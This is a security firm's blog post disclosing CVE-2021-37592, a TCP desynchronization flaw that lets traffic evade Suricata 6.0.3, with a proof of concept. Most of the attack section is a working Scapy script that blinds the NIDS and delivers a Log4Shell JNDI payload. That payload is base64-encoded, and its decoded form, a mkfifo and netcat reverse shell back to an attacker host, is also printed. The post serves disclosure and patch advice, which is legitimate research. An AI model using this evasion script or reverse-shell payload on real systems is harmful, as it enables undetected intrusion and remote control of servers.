Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

14/09/2022

Blog technique

CVE-2021-37592 PoC: Eluding Suricata 6.0.3

Fratso

This article starts with a quick overview on NIDS (Network Intrusion Detection System) evasions to remind what it is and why it could happen. Then it describes the complexity to implement a TCP/IP network stack and its impact on passive attacks detection. It ends with a PoC of the CVE-2021-37592 that I found on my free time while doing some fuzzing on TCP.

Introduction

NIDS evasions overview

Evasion on Network Intrusion Detection System (NIDS) are far from new, they were first introduced by Ptacek & Newsham[¹] in 1998.

For those who do not see what an evasion could be, here is a basic example showing an overlapping attack:

TCP fragments overlapping example

The attacker crafts a series of packets with TCP sequence numbers configured to overlap. Here, two fragments, T and K have the same sequence number. When the target computer reassembles the stream, they must decide how to handle the overlapping fragments. Some operating systems will take the older data, and some will take the newer data. If the NIDS doesn’t reassemble the TCP in the same way as the target, it can be manipulated into either missing a portion of the attack payload or seeing benign data inserted into the malicious payload, breaking the attack signature[²].

Depending on the implementation, the string could be whether ATTACK or AKTACK. Here, the NIDS consider only the string AKTACK, but the server only understands ATTACK which is a vulnerability that the attacker can exploit to send the string ATTACK without being detected by this NIDS.

Several techniques are well known to evade NIDS but I will not discuss about them in this article.

Keep in mind that NIDS evasion could be found on several OSI Layers. Best known evasions have been found on the following layers: – L3; – L4; – L7.

Note that if some evasions were found on L3, they could possibly evade upper layers L4 to L7. Just like an evasion found on L4 could also evade upper layers.

Quick reminders about TCP complexity

L3/L4 are also known as the TCP/IP layers. TCP is ruled by RFC 793

This RFC defined 11 different states for TCP which are described here:

  • LISTEN – represents waiting for a connection request from any remote TCP and port;
  • SYN-SENT – Represents waiting for a matching connection request after having sent a connection request;
  • SYN-RECEIVED – Represents waiting for a confirming connection request acknowledgment after having both received and sent a connection request;
  • ESTABLISHED – Represents an open connection, data received can be delivered to the user. The normal state for the data transfer phase of the connection;
  • FIN-WAIT-1 – Represents waiting for a connection termination request from the remote TCP, or an acknowledgment of the connection termination request previously sent;
  • FIN-WAIT-2 – Represents waiting for a connection termination request from the remote TCP;
  • CLOSE-WAIT – Represents waiting for a connection termination request from the local user;
  • CLOSING – Represents waiting for a connection termination request acknowledgment from the remote TCP;
  • LAST-ACK – Represents waiting for an acknowledgment of the connection termination request previously sent to the remote TCP (which includes an acknowledgment of its connection termination request);
  • TIME-WAIT – Represents waiting for enough time to pass to be sure the remote TCP received the acknowledgment of its connection termination request;
  • CLOSED – Represents no connection state at all.

Depending on which TCP segment to be sent or received, the current TCP state could not be as clear as mud. Here is a diagram showing a summary of TCP Connection States:

TCP state diagram, source

The diagram above shows what a TCP stack should conform to.

For a better understanding, the following diagram shows the different TCP states appearing in normal connection establishment and termination:

TCP states corresponding to normal connection establishment and termination. (source: flylib)

As a reminder, notice that the establishment of a communication (SYN, SYN-ACK, ACK) is commonly called Three-way Handshake (3WH).

The robustness principle is described inside RFC793: « be conservative in what you do, be liberal in what you accept from others. »[³] In other words, a TCP stack that sends messages to others should conform completely to the specifications, but a TCP stack that receives messages should accept non-conformant input as long as the meaning is clear.

However, also keep in mind that the user (mostly, the client) will always be free to send whatever TCP segment they want which could make things more complicated, i.e.: The diagram above does not show what would happen if a FIN packet is received in SYN-RECEIVED state. The complexity of this protocol makes it interesting for NIDS evasions.

CVE-2021-37592

Later, further fuzzing showed that adding a SYN packet with a bad sequence number after the FIN, SYN, ACK segment allowed to create an evasion against a Linux server.

In fact, Suricata consider this a session reuse, and thus use the sequence number of the last SYN packet, instead of using the one of the live connection. This new SYN segment with a wrong sequence number creates a desynchronization of the NIDS which does not follow the right connection, leading to evasion.

Nginx and Django appear to be vulnerable to this evasion, but for some reason, Apache adds a RST packet which closes the communication.

This vulnerability had been found on my free time before I joined AMOSSYS. As I never wrote anything about it before I thought it would be interesting to make a little blog post. It had been reported the 2021-07-28 on Suricata security bug tracking[⁴]. It is applying on Suricata 6.0.3 and lower versions.

Suricata patched this vulnerability in version 6.0.4 by adding a fin_syn stream event which is enough to detect the FIN, SYN, ACK right after a TCP 3WH. By adding this detection, FIN, SYN sequences won’t be processed as regular FIN packets. The commit of this patch is now available at the following address: https://github.com/OISF/suricata/commit/6cb6225b28c5d8e616a420b7d05b129ba2845dc0.

PoC

For this PoC, we’re evading a well-known vulnerability called log4shell (CVE-2021-44228).

To detect this attack, the following Suricata rule[⁵] is used:

				
					alert tcp any any -> $HOME_NET any (msg: "CrowdStrike CSA-211099 Log4Shell RCE Attempt (CVE-2021-44228) [CSA-211099]"; flow: from_client, established; content: "${jndi:ldap://"; classtype:web-application-attack; sid:8001895; rev:20211210; reference:url,falcon.crowdstrike.com/intelligence/reports/CSA-211099;)
				
			

This rule is saved inside the file PoC.rule, then Suricata is started like this: suricata -k none -v -S PoC.rule -i ens18

The following payload : curl 192.168.70.109:8080 -H 'X-Api-Version:
${jndi:ldap://192.168.70.123:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC43MC4xMjMgMTIzNCA%2BL3RtcC9m}'

Will execute the command:

				
					rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.70.123 1234 >/tmp/f
				
			

To obtain a reverse shell on the server vulnerable to log4shell. However this payload will be detected by Suricata, here is a GIF showing the detection:

As we can see, on the window on the right, the attack has been detected by Suricata through this rule.

This evasion could be implemented in several ways. Here is a little script using Scapy to be able to send the same payload without being detected by the NIDS:

				
					#!/usr/bin/python3
import sys
import random
import subprocess
from scapy.all import *


# Call
# sudo python3 <src-ip> <dst-ip> <dst-port>

"""
This script needs to be run as root because it blocks TCP kernel RST to communicate.
"""

if __name__ == "__main__":
    # vars
    src = sys.argv[1]
    dst = sys.argv[2]
    sport = random.randint(1024, 65535)
    dport = int(sys.argv[3])
    encoding = 'utf-8'

    # Ugly hardcoded payload to send that the NIDS know how to detect.
    encoded_dst = f"{dst}".encode(encoding)
    encoded_dport = f"{dport}".encode(encoding)
    payload = b"GET / HTTP/1.1"
    payload += b"\r\nHost: %b:%b" % (encoded_dst, encoded_dport)
    payload += b"\r\nX-Api-Version: ${jndi:ldap://192.168.70.123:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC43MC4xMjMgMTIzNCA%2BL3RtcC9m}"
    payload += b"\r\n\r\n"

    try:
        # Block kernel packets from our Linux TCP/IP stack
        # Otherwise the communication will be ended by our system TCP stack.
        subprocess.call(
            f"iptables -A OUTPUT -p tcp --dport {dport} --sport {sport} -m owner&nbsp;! --uid-owner 0 -j DROP",
            shell=True
        )

        """
        Basic communication initialization.
        """
        # TCP 3WH
        ip = IP(src=src, dst=dst)
        SYN = TCP(sport=sport, dport=dport, flags='S', seq=1000)
        SYNACK = sr1(ip/SYN)
        ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)
        send(ip/ACK)

        """
        This is where the injection for CVE-2021-37592 is done.
        """
        # Injecting FIN, SYN, ACK
        FSA = TCP(sport=sport, dport=dport, flags='FSA', seq=SYNACK.ack, ack=SYNACK.seq+1)
        send(ip/FSA)
        # Injecting new SYN with wrong sequence number
        whatever = SYNACK.seq+1234
        SYN = TCP(sport=sport, dport=dport, flags='S', seq=whatever)
        send(ip/SYN)  # We shouldn't get answer here if evasion is applicable.

        """
        Sending the payload without being detected if NIDS is vulnerable.
        """
        req = TCP(sport=sport, dport=dport, seq=SYNACK.ack, ack=SYNACK.seq+1, flags="PA") / payload
        sr1(ip/req)
    finally:
        # Remove this rule to avoid the mess
        subprocess.call(
            f"iptables -D OUTPUT -p tcp --dport {dport} --sport {sport} -m owner&nbsp;! --uid-owner 0 -j DROP",
            shell=True
        )

				
			

Notes: We expect the target to send a ACK to apply the evasion. If a RST is sent, then another evasion technique has to be found. This PoC could be improved with nfqueue to inject the bad segments automatically after every TCP handshake, allowing you to send whatever payloads independently to the script.

Let’s see the result:

As shown by the GIF, the log4shell payload isn’t detected this time because of the CVE-2021-37592 segments injection which desynchronizes the NIDS TCP/IP stack. The NIDS thinks that the TCP communication is ended and that the payload wasn’t interpreted by the server.

Conclusion

The point of this blog post was to show that it is still possible to find new NIDS evasion using known evasion techniques against NIDS. The given PoC script could be improved with nfqueue to automate the segments injection after each TCP 3WH, which can get handy in red team audit.

This CVE applies on Suricata 6.0.3 and Suricata 5.0.7. By now we should all be at least on a version such as 6.0.4 or higher or 5.0.8 or higher. If you are still on a version <=6.0.3 or <=5.0.8, we strongly advise you to upgrade your NIDS.

This evasion works against Linux TCP/IP stack and has been tested against applications such as Python3 http.server, Django and Nginx.

[¹]: « Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection » https://users.ece.cmu.edu/~adrian/731-sp04/readings/Ptacek-Newsham-ids98.pdf

[²]: T. Cheng, Y. Lin, Y. Lai and P. Lin, « Evasion Techniques: Sneaking through Your Intrusion Detection/Prevention Systems, » in IEEE Communications Surveys & Tutorials, vol. 14, no. 4, pp. 1011-1020, Fourth Quarter 2012, CiteSeerX 10.1.1.299.5703. doi: 10.1109/SURV.2011.092311.00082.

[³]: TCP Robustness Principle (from RFC793): https://datatracker.ietf.org/doc/html/rfc793#section-2.10

[⁴]: CVE-2021-37592 issue: https://redmine.openinfosecfoundation.org/issues/4569

[⁵]: Suricata rule developed by Crowdstrike to generate alerts for log4shell exploit attempt: https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/

Voir les derniers articles du Blog technique

20 décembre 2024
La sécurité informatique peut paraître, pour beaucoup, comme un centre de coût et de complexité : plan d’audits à mettre en […]
16 décembre 2024
Après avoir exploré les vulnérabilités inhérentes aux modèles de langage à grande échelle (LLM) dans notre série d'articles, il est […]
28 novembre 2024
L'exfiltration de modèles LLM (Model Theft in english) par des acteurs malveillants ou des groupes de cyberespionnage avancés est une […]
26 novembre 2024
La surconfiance (Overreliance en anglais) peut survenir lorsqu'un LLM produit des informations erronées et les présente de manière autoritaire [...]
25 novembre 2024
Avec une souche éprouvée, des outils bien choisis et des cibles stratégiques, 8Base se distingue comme une menace particulièrement redoutable. […]
13 novembre 2024
Un système basé sur les LLM (Large Language Models) est souvent doté d'un certain degré d'autonomie par son développeur, [...]
12 novembre 2024
Les plugins pour LLM sont des extensions qui, lorsqu'ils sont activés, sont automatiquement appelés par le modèle pendant les interactions […]
7 novembre 2024
Les LLM ont le potentiel de révéler des informations sensibles (Sensitive Information Disclosure en anglais), des algorithmes propriétaires ou d'autres […]
6 novembre 2024
Le machine learning étend les vulnérabilités aux modèles pré-entraînés et aux données d'entraînement fournis par des tiers, qui sont susceptibles […]
31 octobre 2024
Un déni de service du modèle (Model Denial of Service en anglais) se produit quand un attaquant interagit avec un […]